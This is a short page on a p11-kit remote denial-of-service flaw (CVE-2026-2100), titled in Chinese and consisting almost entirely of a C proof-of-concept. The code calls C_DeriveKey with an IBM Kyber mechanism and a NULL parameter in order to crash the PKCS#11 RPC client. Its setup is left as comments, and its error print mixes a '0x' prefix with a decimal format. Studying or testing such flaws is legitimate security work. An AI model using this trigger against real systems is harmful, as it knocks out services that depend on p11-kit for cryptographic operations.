CVE-2026-2100 p11-kit远程拒绝服务漏洞

#include <stdio.h> #include <pkcs11.h> // Conceptual Proof of Concept for CVE-2026-2100 // This code simulates the vulnerable condition described in the advisory. // It triggers the flaw by calling C_DeriveKey with NULL parameters. void exploit_poc(CK_SESSION_HANDLE hSession, CK_OBJECT_HANDLE hKey) { CK_RV rv; CK_MECHANISM mechanism; CK_OBJECT_HANDLE hDerivedKey; // Targeting the vulnerable IBM derive mechanisms // CKM_IBM_KYBER or CKM_IBM_BTC would be defined in the specific headers mechanism.mechanism = CKM_IBM_KYBER; // VULNERABILITY TRIGGER: Setting pParameter to NULL // The RPC client fails to handle this NULL value correctly, // leading to a NULL dereference or uninitialized value return. mechanism.pParameter = NULL; mechanism.ulParameterLen = 0; printf("[+] Attempting to trigger C_DeriveKey with NULL parameters...\n"); // This call is expected to cause a crash or undefined behavior rv = C_DeriveKey(hSession, &mechanism, hKey, NULL, 0, &hDerivedKey); if (rv != CKR_OK) { printf("[!] Function returned error: 0x%lu\n", rv); } else { printf("[!] Function returned successfully. Vulnerability might not trigger or was patched.\n"); } } int main() { // Initialization logic (omitted for brevity) // In a real scenario, initialize C_Initialize, OpenSession, etc. // CK_SESSION_HANDLE session; // CK_OBJECT_HANDLE key; // ... setup code ... // exploit_poc(session, key); return 0; }